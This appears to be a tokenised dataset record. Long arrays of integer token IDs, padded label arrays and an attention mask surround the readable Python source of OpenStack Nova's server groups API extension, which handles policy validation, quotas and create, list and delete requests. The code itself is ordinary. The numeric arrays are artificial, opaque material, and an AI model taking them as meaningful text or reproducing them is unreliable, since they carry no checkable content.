19552,
18,
14,
4091,
571,
14,
846,
297,
283,
1014,
921,
983,
3113,
19552,
20,
14,
4091,
571,
14,
846,
297,
283,
1014,
921,
983,
3113,
19552,
21,
14,
4091,
571,
14,
846,
418,
199,
576,
275,
4011,
14,
1069,
14,
10890,
8,
2355,
14,
5095,
8,
4553,
4992,
739,
452,
7303,
199,
199,
692,
283,
6505,
2352,
7,
315,
984,
14,
3020,
26,
272,
367,
1031,
315,
2022,
14,
3640,
8,
576,
14,
2708,
5109,
267,
870,
334,
932,
9,
272,
984,
14,
2224,
342,
199,
199,
5680,
221,
961,
859,
365,
1415,
370,
805,
7684,
26,
221,
199,
5680,
420,
4178,
921,
5031,
14,
957,
15,
74,
23909,
90,
3258,
15,
1548,
13,
22816,
4354,
199,
199,
646,
7554,
199,
504,
27214,
4354,
14,
1178,
3280,
492,
3590,
3167,
4936,
12,
4840,
8171,
1726,
199,
504,
2838,
492,
1125,
465,
2838,
63,
705,
199,
199,
318,
3743,
1173,
837,
272,
4922,
275,
2125,
272,
340,
4298,
14,
2253,
342,
508,
283,
8647,
356,
267,
4922,
275,
747,
14,
515,
14,
904,
8,
736,
14,
515,
14,
904,
8,
736,
14,
2314,
459,
28057,
995,
283,
53,
385,
82,
5072,
1333,
272,
587,
26,
267,
340,
4298,
14,
2253,
342,
508,
283,
31065,
356,
288,
4922,
275,
747,
14,
515,
14,
12131,
21114,
15,
7424,
15,
5039,
12502,
15,
53,
385,
82,
5072,
6217,
267,
587,
26,
288,
4922,
275,
747,
14,
515,
14,
12131,
21114,
8083,
27678,
1065,
390,
358,
339,
372,
747,
14,
515,
14,
904,
8,
3741,
12,
283,
27678,
1065,
390,
14,
2190,
358,
199,
199,
2190,
63,
515,
275,
3743,
1173,
342,
199,
692,
440,
747,
14,
515,
14,
2444,
8,
2190,
63,
515,
304,
272,
1798,
14,
705,
10505,
53,
385,
82,
9061,
2897,
570,
440,
1911,
14,
4688,
3163,
9509,
2195,
11785,
2505,
3134,
82,
60,
78,
2344,
267,
1449,
3917,
1265,
5965,
19051,
1133,
2737,
282,
2897,
570,
12,
1265,
1077,
1218,
1373,
737,
450,
83,
543,
314,
1318,
2839,
642,
3427,
82,
60,
78,
2344,
267,
18087,
82,
60,
78,
2344,
267,
1449,
1000,
29,
17,
60,
82,
60,
78,
2344,
267,
1449,
4354,
751,
29,
16540,
21121,
60,
82,
60,
78,
2344,
267,
1449,
4354,
2060,
2458,
88,
60,
82,
60,
78,
2344,
267,
18087,
82,
60,
78,
2344,
267,
1449,
18567,
626,
2505,
7565,
1,
12836,
6425,
314,
570,
12,
11004,
738,
385,
82,
9061,
10595,
450,
334,
2190,
63,
515,
12,
2196,
14,
20539,
8,
18,
538,
3933,
1724,
199,
199,
2190,
275,
1551,
8,
2190,
63,
515,
12,
283,
4848,
1959,
739,
342,
199,
4407,
275,
1052,
199,
199,
509,
1004,
315,
3743,
14,
7644,
8,
549,
304,
272,
340,
1004,
14,
2460,
8,
66,
11525,
735,
267,
1004,
275,
1004,
1491,
604,
14,
1080,
8,
66,
11525,
5440,
272,
340,
440,
1004,
855,
6134,
721,
66,
7,
534,
304,
267,
1980,
272,
1022,
12,
373,
275,
1004,
14,
1294,
8,
66,
7,
4009,
413,
9,
272,
4072,
59,
75,
14,
1913,
5106,
275,
373,
14,
1913,
342,
199,
199,
692,
330,
7,
4354,
2060,
7,
440,
315,
4072,
14,
1612,
837,
272,
870,
10505,
8171,
2505,
365,
440,
1911,
315,
314,
450,
83,
570,
10595,
450,
334,
2190,
63,
515,
430,
272,
984,
14,
2224,
342,
199,
199,
692,
330,
7,
4354,
751,
7,
440,
315,
4072,
14,
1612,
837,
272,
870,
10505,
8171,
922,
365,
440,
1911,
315,
314,
450,
83,
570,
10595,
450,
334,
2190,
63,
515,
430,
272,
984,
14,
2224,
342,
199,
199,
4354,
751,
275,
4072,
59,
66,
7,
4354,
751,
2278,
2708,
342,
199,
4354,
2060,
275,
4072,
59,
66,
7,
4354,
2060,
2278,
2708,
342,
199,
4354,
719,
275,
841,
1184,
2760,
199,
4354,
5859,
275,
283,
4195,
14,
16,
14,
16,
14,
17,
7,
199,
199,
692,
330,
7,
4354,
719,
7,
315,
4072,
14,
1612,
837,
272,
8985,
719,
275,
4072,
59,
66,
7,
4354,
719,
2278,
2708,
342,
199,
692,
330,
7,
4354,
5859,
7,
315,
4072,
14,
1612,
837,
272,
8985,
5859,
275,
4072,
59,
66,
7,
4354,
5859,
2278,
2708,
342,
199,
199,
2732,
275,
3590,
3167,
4936,
360,
1014,
13827,
83,
2689,
83,
19437,
83,
2689,
68,
4805,
450,
334,
4354,
751,
12,
8985,
2060,
12,
8985,
5859,
12,
1109,
8,
4354,
719,
1724,
199,
199,
509,
1031,
315,
2022,
14,
3640,
8,
576,
14,
2708,
5109,
272,
870,
661,
20897,
297,
1031,
9,
272,
862,
26,
267,
2879,
14,
525,
932,
8,
932,
12,
283,
525,
358,
272,
871,
2838,
63,
705,
465,
325,
26,
267,
340,
325,
14,
7931,
508,
7554,
14,
37,
17489,
8279,
8558,
26,
288,
870,
661,
6005,
370,
26808,
543,
738,
385,
82,
9061,
11785,
358,
267,
2059,
272,
871,
4840,
8171,
1726,
465,
325,
26,
267,
340,
325,
14,
600,
508,
446,
1789,
26,
288,
870,
661,
16760,
3483,
358,
288,
1980,
267,
2059,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
2647,
15,
1393,
15,
1548,
19,
199,
199,
5680,
199,
5680,
221,
9195,
3889,
6347,
316,
1806,
3101,
199,
5680,
221,
334,
35,
9,
7800,
22986,
577,
14,
199,
5680,
199,
5680,
221,
1455,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
15,
643,
1168,
13,
19,
14,
16,
14,
287,
14,
1360,
199,
5680,
199,
199,
646,
747,
199,
646,
984,
199,
646,
2022,
199,
646,
2196,
199,
646,
4298,
199,
646,
4011,
14,
1069,
199,
199,
4553,
275,
788,
1014,
921,
983,
3113,
19552,
17,
14,
4091,
571,
14,
846,
297,
283,
1014,
921,
983,
3113,
19552,
18,
14,
4091,
571,
14,
846,
297,
283,
1014,
921,
983,
3113,
19552,
20,
14,
4091,
571,
14,
846,
297,
283,
1014,
921,
983,
3113,
19552,
21,
14,
4091,
571,
14,
846,
418,
199,
576,
275,
4011,
14,
1069,
14,
10890,
8,
2355,
14,
5095,
8,
4553,
4992,
739,
452,
7303,
199,
199,
692,
283,
6505,
2352,
7,
315,
984,
14,
3020,
26,
272,
367,
1031,
315,
2022,
14,
3640,
8,
576,
14,
2708,
5109,
267,
870,
334,
932,
9,
272,
984,
14,
2224,
342,
199,
199,
5680,
221,
961,
859,
365,
1415,
370,
805,
7684,
26,
221,
199,
5680,
420,
4178,
921,
5031,
14,
957,
15,
74,
23909,
90,
3258,
15,
1548,
13,
22816,
4354,
199,
199,
646,
7554,
199,
504,
27214,
4354,
14,
1178,
3280,
492,
3590,
3167,
4936,
12,
4840,
8171,
1726,
199,
504,
2838,
492,
1125,
465,
2838,
63,
705,
199,
199,
318,
3743,
1173,
837,
272,
4922,
275,
2125,
272,
340,
4298,
14,
2253,
342,
508,
283,
8647,
356,
267,
4922,
275,
747,
14,
515,
14,
904,
8,
736,
14,
515,
14,
904,
8,
736,
14,
2314,
459,
28057,
995,
283,
53,
385,
82,
5072,
1333,
272,
587,
26,
267,
340,
4298,
14,
2253,
342,
508,
283,
31065,
356,
288,
4922,
275,
747,
14,
515,
14,
12131,
21114,
15,
7424,
15,
5039,
12502,
15,
53,
385,
82,
5072,
6217,
267,
587,
26,
288,
4922,
275,
747,
14,
515,
14,
12131,
21114,
8083,
27678,
1065,
390,
358,
339,
372,
747,
14,
515,
14,
904,
8,
3741,
12,
283,
27678,
1065,
390,
14,
2190,
358,
199,
199,
2190,
63,
515,
275,
3743,
1173,
342,
199,
692,
440,
747,
14,
515,
14,
2444,
8,
2190,
63,
515,
304,
272,
1798,
14,
705,
10505,
53,
385,
82,
9061,
2897,
570,
440,
1911,
14,
4688,
3163,
9509,
2195,
11785,
2505,
3134,
82,
60,
78,
2344,
267,
1449,
3917,
1265,
5965,
19051,
1133,
2737,
282,
2897,
570,
12,
1265,
1077,
1218,
1373,
737,
450,
83,
543,
314,
1318,
2839,
642,
3427,
82,
60,
78,
2344,
267,
18087,
82,
60,
78,
2344,
267,
1449,
1000,
29,
17,
60,
82,
60,
78,
2344,
267,
1449,
4354,
751,
29,
16540,
21121,
60,
82,
60,
78,
2344,
267,
1449,
4354,
2060,
2458,
88,
60,
82,
60,
78,
2344,
267,
18087,
82,
60,
78,
2344,
267,
1449,
18567,
626,
2505,
7565,
1,
12836,
6425,
314,
570,
12,
11004,
738,
385,
82,
9061,
10595,
450,
334,
2190,
63,
515,
12,
2196,
14,
20539,
8,
18,
538,
3933,
1724,
199,
199,
2190,
275,
1551,
8,
2190,
63,
515,
12,
283,
4848,
1959,
739,
342,
199,
4407,
275,
1052,
199,
199,
509,
1004,
315,
3743,
14,
7644,
8,
549,
304,
272,
340,
1004,
14,
2460,
8,
66,
11525,
735,
267,
1004,
275,
1004,
1491,
604,
14,
1080,
8,
66,
11525,
5440,
272,
340,
440,
1004,
855,
6134,
721,
66,
7,
534,
304,
267,
1980,
272,
1022,
12,
373,
275,
1004,
14,
1294,
8,
66,
7,
4009,
413,
9,
272,
4072,
59,
75,
14,
1913,
5106,
275,
373,
14,
1913,
342,
199,
199,
692,
330,
7,
4354,
2060,
7,
440,
315,
4072,
14,
1612,
837,
272,
870,
10505,
8171,
2505,
365,
440,
1911,
315,
314,
450,
83,
570,
10595,
450,
334,
2190,
63,
515,
430,
272,
984,
14,
2224,
342,
199,
199,
692,
330,
7,
4354,
751,
7,
440,
315,
4072,
14,
1612,
837,
272,
870,
10505,
8171,
922,
365,
440,
1911,
315,
314,
450,
83,
570,
10595,
450,
334,
2190,
63,
515,
430,
272,
984,
14,
2224,
342,
199,
199,
4354,
751,
275,
4072,
59,
66,
7,
4354,
751,
2278,
2708,
342,
199,
4354,
2060,
275,
4072,
59,
66,
7,
4354,
2060,
2278,
2708,
342,
199,
4354,
719,
275,
841,
1184,
2760,
199,
4354,
5859,
275,
283,
4195,
14,
16,
14,
16,
14,
17,
7,
199,
199,
692,
330,
7,
4354,
719,
7,
315,
4072,
14,
1612,
837,
272,
8985,
719,
275,
4072,
59,
66,
7,
4354,
719,
2278,
2708,
342,
199,
692,
330,
7,
4354,
5859,
7,
315,
4072,
14,
1612,
837,
272,
8985,
5859,
275,
4072,
59,
66,
7,
4354,
5859,
2278,
2708,
342,
199,
199,
2732,
275,
3590,
3167,
4936,
360,
1014,
13827,
83,
2689,
83,
19437,
83,
2689,
68,
4805,
450,
334,
4354,
751,
12,
8985,
2060,
12,
8985,
5859,
12,
1109,
8,
4354,
719,
1724,
199,
199,
509,
1031,
315,
2022,
14,
3640,
8,
576,
14,
2708,
5109,
272,
870,
661,
20897,
297,
1031,
9,
272,
862,
26,
267,
2879,
14,
525,
932,
8,
932,
12,
283,
525,
358,
272,
871,
2838,
63,
705,
465,
325,
26,
267,
340,
325,
14,
7931,
508,
7554,
14,
37,
17489,
8279,
8558,
26,
288,
870,
661,
6005,
370,
26808,
543,
738,
385,
82,
9061,
11785,
358,
267,
2059,
272,
871,
4840,
8171,
1726,
465,
325,
26,
267,
340,
325,
14,
600,
508,
446,
1789,
26,
288,
870,
661,
16760,
3483,
358,
288,
1980,
267,
2059,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
raildo/nova
|
nova/api/openstack/compute/legacy_v2/contrib/server_groups.py
|
15
|
9330
|
# Copyright (c) 2014 Cisco Systems, Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""The Server Group API Extension."""
from oslo_log import log as logging
import webob
from webob import exc
from nova.api.openstack import common
from nova.api.openstack import extensions
from nova.api.openstack import wsgi
from nova.api.validation import parameter_types
import nova.exception
from nova.i18n import _
from nova.i18n import _LE
from nova import objects
from nova import utils
LOG = logging.getLogger(__name__)
SUPPORTED_POLICIES = ['anti-affinity', 'affinity']
authorize = extensions.extension_authorizer('compute', 'server_groups')
def _authorize_context(req):
context = req.environ['nova.context']
authorize(context)
return context
class ServerGroupController(wsgi.Controller):
"""The Server group API controller for the OpenStack API."""
def __init__(self, ext_mgr):
self.ext_mgr = ext_mgr
def _format_server_group(self, context, group):
# the id field has its value as the uuid of the server group
# There is no 'uuid' key in server_group seen by clients.
# In addition, clients see policies as a ["policy-name"] list;
# and they see members as a ["server-id"] list.
server_group = {}
server_group['id'] = group.uuid
server_group['name'] = group.name
server_group['policies'] = group.policies or []
# NOTE(danms): This has been exposed to the user, but never used.
# Since we can't remove it, just make sure it's always empty.
server_group['metadata'] = {}
members = []
if group.members:
# Display the instances that are not deleted.
filters = {'uuid': group.members, 'deleted': False}
instances = objects.InstanceList.get_by_filters(
context, filters=filters)
members = [instance.uuid for instance in instances]
server_group['members'] = members
return server_group
def _validate_policies(self, policies):
"""Validate the policies.
Validates that there are no contradicting policies, for example
'anti-affinity' and 'affinity' in the same group.
Validates that the defined policies are supported.
:param policies: the given policies of the server_group
"""
if ('anti-affinity' in policies and
'affinity' in policies):
msg = _("Conflicting policies configured!")
raise nova.exception.InvalidInput(reason=msg)
not_supported = [policy for policy in policies
if policy not in SUPPORTED_POLICIES]
if not_supported:
msg = _("Invalid policies: %s") % ', '.join(not_supported)
raise nova.exception.InvalidInput(reason=msg)
# Note(wingwj): It doesn't make sense to store duplicate policies.
if sorted(set(policies)) != sorted(policies):
msg = _("Duplicate policies configured!")
raise nova.exception.InvalidInput(reason=msg)
def _validate_input_body(self, body, entity_name):
if not self.is_valid_body(body, entity_name):
msg = _("the body is invalid.")
raise nova.exception.InvalidInput(reason=msg)
subbody = dict(body[entity_name])
expected_fields = ['name', 'policies']
for field in expected_fields:
value = subbody.pop(field, None)
if not value:
msg = _("'%s' is either missing or empty.") % field
raise nova.exception.InvalidInput(reason=msg)
if field == 'name':
utils.check_string_length(value, field,
min_length=1, max_length=255)
if not parameter_types.valid_name_regex_obj.search(value):
msg = _("Invalid format for name: '%s'") % value
raise nova.exception.InvalidInput(reason=msg)
elif field == 'policies':
if isinstance(value, list):
[utils.check_string_length(v, field,
min_length=1, max_length=255) for v in value]
self._validate_policies(value)
else:
msg = _("'%s' is not a list") % value
raise nova.exception.InvalidInput(reason=msg)
if subbody:
msg = _("unsupported fields: %s") % subbody.keys()
raise nova.exception.InvalidInput(reason=msg)
def show(self, req, id):
"""Return data about the given server group."""
context = _authorize_context(req)
try:
sg = objects.InstanceGroup.get_by_uuid(context, id)
except nova.exception.InstanceGroupNotFound as e:
raise webob.exc.HTTPNotFound(explanation=e.format_message())
return {'server_group': self._format_server_group(context, sg)}
def delete(self, req, id):
"""Delete an server group."""
context = _authorize_context(req)
try:
sg = objects.InstanceGroup.get_by_uuid(context, id)
except nova.exception.InstanceGroupNotFound as e:
raise webob.exc.HTTPNotFound(explanation=e.format_message())
quotas = None
if self.ext_mgr.is_loaded('os-server-group-quotas'):
quotas = objects.Quotas(context=context)
project_id, user_id = objects.quotas.ids_from_server_group(context,
sg)
try:
# We have to add the quota back to the user that created
# the server group
quotas.reserve(project_id=project_id,
user_id=user_id, server_groups=-1)
except Exception:
quotas = None
LOG.exception(_LE("Failed to update usages deallocating "
"server group"))
try:
sg.destroy()
except nova.exception.InstanceGroupNotFound as e:
if quotas:
quotas.rollback()
raise webob.exc.HTTPNotFound(explanation=e.format_message())
if quotas:
quotas.commit()
return webob.Response(status_int=204)
def index(self, req):
"""Returns a list of server groups."""
context = _authorize_context(req)
project_id = context.project_id
if 'all_projects' in req.GET and context.is_admin:
sgs = objects.InstanceGroupList.get_all(context)
else:
sgs = objects.InstanceGroupList.get_by_project_id(
context, project_id)
limited_list = common.limited(sgs.objects, req)
result = [self._format_server_group(context, group)
for group in limited_list]
return {'server_groups': result}
def create(self, req, body):
"""Creates a new server group."""
context = _authorize_context(req)
try:
self._validate_input_body(body, 'server_group')
except nova.exception.InvalidInput as e:
raise exc.HTTPBadRequest(explanation=e.format_message())
quotas = None
if self.ext_mgr.is_loaded('os-server-group-quotas'):
quotas = objects.Quotas(context=context)
try:
quotas.reserve(project_id=context.project_id,
user_id=context.user_id, server_groups=1)
except nova.exception.OverQuota:
msg = _("Quota exceeded, too many server groups.")
raise exc.HTTPForbidden(explanation=msg)
vals = body['server_group']
sg = objects.InstanceGroup(context)
sg.project_id = context.project_id
sg.user_id = context.user_id
try:
sg.name = vals.get('name')
sg.policies = vals.get('policies')
sg.create()
except ValueError as e:
if quotas:
quotas.rollback()
raise exc.HTTPBadRequest(explanation=e)
if quotas:
quotas.commit()
return {'server_group': self._format_server_group(context, sg)}
class Server_groups(extensions.ExtensionDescriptor):
"""Server group support."""
name = "ServerGroups"
alias = "os-server-groups"
namespace = ("http://docs.openstack.org/compute/ext/"
"servergroups/api/v2")
updated = "2013-06-20T00:00:00Z"
def get_resources(self):
resources = []
res = extensions.ResourceExtension(
'os-server-groups',
controller=ServerGroupController(self.ext_mgr),
member_actions={"action": "POST", })
resources.append(res)
return resources
|
apache-2.0
|
[
3,
1898,
334,
67,
9,
6927,
28356,
15285,
12,
3277,
14,
199,
3,
2900,
5924,
5702,
14,
199,
3,
199,
3,
259,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
1265,
1443,
199,
3,
259,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
2047,
1443,
3332,
199,
3,
259,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
260,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
259,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
259,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
2428,
199,
3,
259,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
1666,
314,
199,
3,
259,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
259,
1334,
314,
844,
14,
199,
199,
624,
1918,
7146,
5611,
3261,
13282,
1041,
199,
199,
504,
11258,
63,
793,
492,
943,
465,
2050,
199,
646,
14568,
199,
504,
14568,
492,
3178,
199,
199,
504,
5913,
14,
1246,
14,
8512,
492,
2863,
199,
504,
5913,
14,
1246,
14,
8512,
492,
5478,
199,
504,
5913,
14,
1246,
14,
8512,
492,
12464,
199,
504,
5913,
14,
1246,
14,
6136,
492,
2725,
63,
1313,
199,
646,
5913,
14,
1971,
199,
504,
5913,
14,
73,
1085,
78,
492,
485,
199,
504,
5913,
14,
73,
1085,
78,
492,
485,
906,
199,
504,
5913,
492,
2251,
199,
504,
5913,
492,
3778,
199,
199,
4947,
275,
2050,
14,
5572,
3460,
354,
3368,
421,
199,
15925,
63,
15304,
2563,
275,
788,
4466,
13,
15964,
297,
283,
15964,
418,
199,
199,
14204,
275,
5478,
14,
3435,
63,
2502,
1793,
360,
3357,
297,
283,
1000,
63,
2634,
358,
421,
199,
318,
485,
14204,
63,
1100,
8,
2103,
304,
272,
1067,
275,
2648,
14,
2314,
459,
6765,
14,
1100,
418,
272,
20210,
8,
1100,
9,
272,
372,
1067,
421,
199,
533,
7146,
2448,
7506,
8,
6508,
14,
7506,
304,
272,
408,
1918,
7146,
1572,
3261,
7614,
367,
314,
14260,
3261,
1041,
339,
347,
636,
826,
721,
277,
12,
1599,
63,
7755,
304,
267,
291,
14,
832,
63,
7755,
275,
1599,
63,
7755,
339,
347,
485,
908,
63,
1000,
63,
923,
8,
277,
12,
1067,
12,
1572,
304,
267,
327,
314,
1305,
901,
965,
2399,
574,
465,
314,
5377,
402,
314,
1654,
1572,
267,
327,
6006,
365,
949,
283,
2580,
7,
790,
315,
1654,
63,
923,
6775,
701,
13431,
14,
267,
327,
1010,
10234,
12,
13431,
1937,
14118,
465,
282,
2097,
3185,
13,
354,
937,
769,
27,
267,
327,
436,
2985,
1937,
7556,
465,
282,
2097,
1000,
13,
344,
937,
769,
14,
267,
1654,
63,
923,
275,
1052,
267,
1654,
63,
923,
459,
344,
418,
275,
1572,
14,
2580,
267,
1654,
63,
923,
459,
354,
418,
275,
1572,
14,
354,
267,
1654,
63,
923,
459,
11767,
418,
275,
1572,
14,
11767,
503,
942,
267,
327,
6944,
8,
24863,
706,
304,
961,
965,
2757,
19282,
370,
314,
922,
12,
1325,
7078,
1202,
14,
267,
327,
9336,
781,
883,
1133,
2813,
652,
12,
2951,
1852,
3238,
652,
1159,
3544,
2701,
14,
267,
1654,
63,
923,
459,
2343,
418,
275,
1052,
267,
7556,
275,
942,
267,
340,
1572,
14,
6334,
26,
288,
327,
12175,
314,
4454,
626,
787,
440,
5463,
14,
288,
4766,
275,
791,
2580,
356,
1572,
14,
6334,
12,
283,
6062,
356,
756,
93,
288,
4454,
275,
2251,
14,
3244,
1296,
14,
362,
63,
991,
63,
4273,
8,
355,
1067,
12,
4766,
29,
4273,
9,
288,
7556,
275,
359,
842,
14,
2580,
367,
1256,
315,
4454,
61,
267,
1654,
63,
923,
459,
6334,
418,
275,
7556,
267,
372,
1654,
63,
923,
339,
347,
485,
3502,
63,
11767,
8,
277,
12,
14118,
304,
267,
408,
12584,
314,
14118,
14,
398,
4821,
2335,
626,
2337,
787,
949,
18782,
807,
316,
14118,
12,
367,
2893,
267,
283,
4466,
13,
15964,
7,
436,
283,
15964,
7,
315,
314,
2011,
1572,
14,
267,
4821,
2335,
626,
314,
3247,
14118,
787,
3748,
14,
267,
520,
635,
14118,
26,
258,
314,
1627,
14118,
402,
314,
1654,
63,
923,
267,
408,
267,
340,
661,
4466,
13,
15964,
7,
315,
14118,
436,
288,
283,
15964,
7,
315,
14118,
304,
288,
1499,
275,
3824,
15919,
316,
14118,
7526,
9124,
288,
746,
5913,
14,
1971,
14,
3364,
3205,
8,
5764,
29,
1328,
9,
267,
440,
63,
4946,
275,
359,
3185,
367,
4592,
315,
14118,
586,
340,
4592,
440,
315,
32501,
63,
15304,
2563,
61,
267,
340,
440,
63,
4946,
26,
288,
1499,
275,
3824,
3364,
14118,
26,
450,
83,
531,
450,
1656,
1987,
904,
8,
1397,
63,
4946,
9,
288,
746,
5913,
14,
1971,
14,
3364,
3205,
8,
5764,
29,
1328,
9,
398,
327,
3390,
8,
87,
316,
87,
74,
304,
2779,
3181,
1133,
1852,
12249,
370,
3877,
9250,
14118,
14,
267,
340,
3355,
8,
409,
8,
11767,
430,
1137,
3355,
8,
11767,
304,
288,
1499,
275,
3824,
14773,
14118,
7526,
9124,
288,
746,
5913,
14,
1971,
14,
3364,
3205,
8,
5764,
29,
1328,
9,
339,
347,
485,
3502,
63,
1210,
63,
2030,
8,
277,
12,
2396,
12,
4642,
63,
354,
304,
267,
340,
440,
291,
14,
374,
63,
1078,
63,
2030,
8,
2030,
12,
4642,
63,
354,
304,
288,
1499,
275,
3824,
1589,
2396,
365,
3866,
2685,
288,
746,
5913,
14,
1971,
14,
3364,
3205,
8,
5764,
29,
1328,
9,
398,
1007,
2030,
275,
1211,
8,
2030,
59,
4502,
63,
354,
566,
398,
1420,
63,
955,
275,
788,
354,
297,
283,
11767,
418,
267,
367,
901,
315,
1420,
63,
955,
26,
288,
574,
275,
1007,
2030,
14,
1935,
8,
698,
12,
488,
9,
288,
340,
440,
574,
26,
355,
1499,
275,
3824,
5956,
83,
7,
365,
1902,
4124,
503,
2701,
2685,
450,
901,
355,
746,
5913,
14,
1971,
14,
3364,
3205,
8,
5764,
29,
1328,
9,
288,
340,
901,
508,
283,
354,
356,
355,
3778,
14,
1074,
63,
875,
63,
1267,
8,
585,
12,
901,
12,
5101,
1748,
63,
1267,
29,
17,
12,
1390,
63,
1267,
29,
2299,
9,
355,
340,
440,
2725,
63,
1313,
14,
1078,
63,
354,
63,
3821,
63,
1113,
14,
1733,
8
] |
[
1898,
334,
67,
9,
6927,
28356,
15285,
12,
3277,
14,
199,
3,
2900,
5924,
5702,
14,
199,
3,
199,
3,
259,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
1265,
1443,
199,
3,
259,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
2047,
1443,
3332,
199,
3,
259,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
260,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
259,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
259,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
2428,
199,
3,
259,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
1666,
314,
199,
3,
259,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
4204,
199,
3,
259,
1334,
314,
844,
14,
199,
199,
624,
1918,
7146,
5611,
3261,
13282,
1041,
199,
199,
504,
11258,
63,
793,
492,
943,
465,
2050,
199,
646,
14568,
199,
504,
14568,
492,
3178,
199,
199,
504,
5913,
14,
1246,
14,
8512,
492,
2863,
199,
504,
5913,
14,
1246,
14,
8512,
492,
5478,
199,
504,
5913,
14,
1246,
14,
8512,
492,
12464,
199,
504,
5913,
14,
1246,
14,
6136,
492,
2725,
63,
1313,
199,
646,
5913,
14,
1971,
199,
504,
5913,
14,
73,
1085,
78,
492,
485,
199,
504,
5913,
14,
73,
